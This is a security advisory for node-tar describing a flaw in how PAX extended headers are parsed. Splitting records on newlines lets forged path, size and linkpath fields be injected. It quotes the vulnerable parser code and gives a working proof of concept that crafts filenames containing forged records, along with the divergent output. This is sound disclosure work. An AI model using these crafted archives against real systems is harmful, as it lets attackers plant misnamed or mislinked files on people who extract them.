GHSA-rgjp-p5j7-w36xHigh

node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection

Published
December 2, 2026
Last Modified
December 2, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

node-tar parses POSIX pax extended headers by splitting the header body on every newline and validating each resulting line's length prefix, instead of consuming length-delimited records as the format specifies. A record whose value contains a newline (which occurs legitimately whenever an archived filename contains a newline) is mishandled two ways: the true record is dropped (the entry falls back to its truncated 100-byte header name), and any post-newline fragment that itself forms a self-valid <length> key=value line is applied as a real extended-header field. This is a cross-implementation divergence and an arbitrary PAX-field injection primitive (path, size, linkpath, mode, uid, gid, mtime) driven by a single attacker-controlled filename or crafted archive.

Details

// src/pax.ts:151-167
const parseKV = (str) =>
  str.replace(/\n$/, '').split('\n')          // <- splits INSIDE length-valid record values
     .reduce(parseKVLine, Object.create(null))
const parseKVLine = (set, line) => {
  const n = parseInt(line, 10)
  // XXX Values with \n in them will fail this.
  // Refactor to not be a naive line-by-line parse.
  if (n !== Buffer.byteLength(line) + 1) return set   // record dropped when its value contained '\n'
  line = line.slice((n + ' ').length)
  // ... a forged '<len> key=value' fragment is then ACCEPTED as a real record
}

POSIX pax records are <len> key=value\n, where <len> counts the entire record including any newline inside the value. Splitting on \n breaks a record whose value contains a newline into fragments: the leading fragment fails the n === byteLength+1 check and is discarded, and a trailing fragment such as 24 path=forged-name.txt passes the check and is applied. The maintainer's own in-code XXX comment documents the limitation. A related facet in the same parser: numeric fields are coerced with JavaScript +v (src/pax.ts:196, 205), so size=0x10, size=1e3, size=1.5, and size=Infinity parse only in node-tar while GNU tar and Python tarfile reject or fall back, a separate three-way numeric divergence.

PoC

Validated on source main @ 2a22bfc and against the published npm package [email protected], Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.

# create files whose names embed a newline + a forged record tail, pack with a compliant packer
python3 - <<'EOF'
import os; d='/tmp/paxnl/src'; os.makedirs(d, exist_ok=True)
open(os.path.join(d,'A'*95+'\nTAIL1.txt'),'w').write('PAX-DEPENDENT\n')          # legit newline name
open(os.path.join(d,'B'*95+'\n'+'24 path=forged-name.txt'),'w').write('INJECTED\n')  # forged path
open(os.path.join(d,'C'*95+'\n'+'10 size=0'),'w').write('EIGHTBYTS')              # forged size (true 9)
open(os.path.join(d,'D'*95+'\n'+'14 linkpath=a'),'w').write('X')                 # forged linkpath on a File
EOF
tar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .

Observed reading /tmp/paxnl/gnu.tar:

GNU tar / Python : true names, len 107-121, correct sizes, linkpath ''
node-tar t()     : pathlen=100 size=14                     (A: newline record dropped -> truncated)
                   pathlen=100 size=0                       (C: forged size=0, true size 9)
                   pathlen=100 linkpath="a"                 (D: forged linkpath on a plain File)
                   pathlen=15 "forged-name.txt" size=9      (B: forged path applied)
node-tar x()     : materializes 'forged-name.txt' on disk; A/C/D under truncated names

GNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged linkpath on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged size feeds the meta-entry desync (advisory 02).

Impact

Integrity via cross-implementation divergence. A single attacker-controlled filename in a directory that a victim archives with any length-compliant packer (GNU tar, bsdtar, Python tarfile), later extracted or listed by a node-tar consumer, or simply a hand-crafted archive, makes node-tar assign an arbitrary path, size, linkpath, mode, uid/gid, or mtime to an entry that every compliant reader sees differently. This defeats name-based and attribute-based inspection and provides an injection route into the two issues above. In default extraction mode the effect is confined to the extraction root (path sanitisation still applies); with preservePaths the forged path may be absolute or contain ... node-tar also cannot round-trip archives it writes itself when filenames contain newlines.

🎯 Affected products1

  • npm/tar:>= 7.5.0, < 8.0.0

🔗 References (5)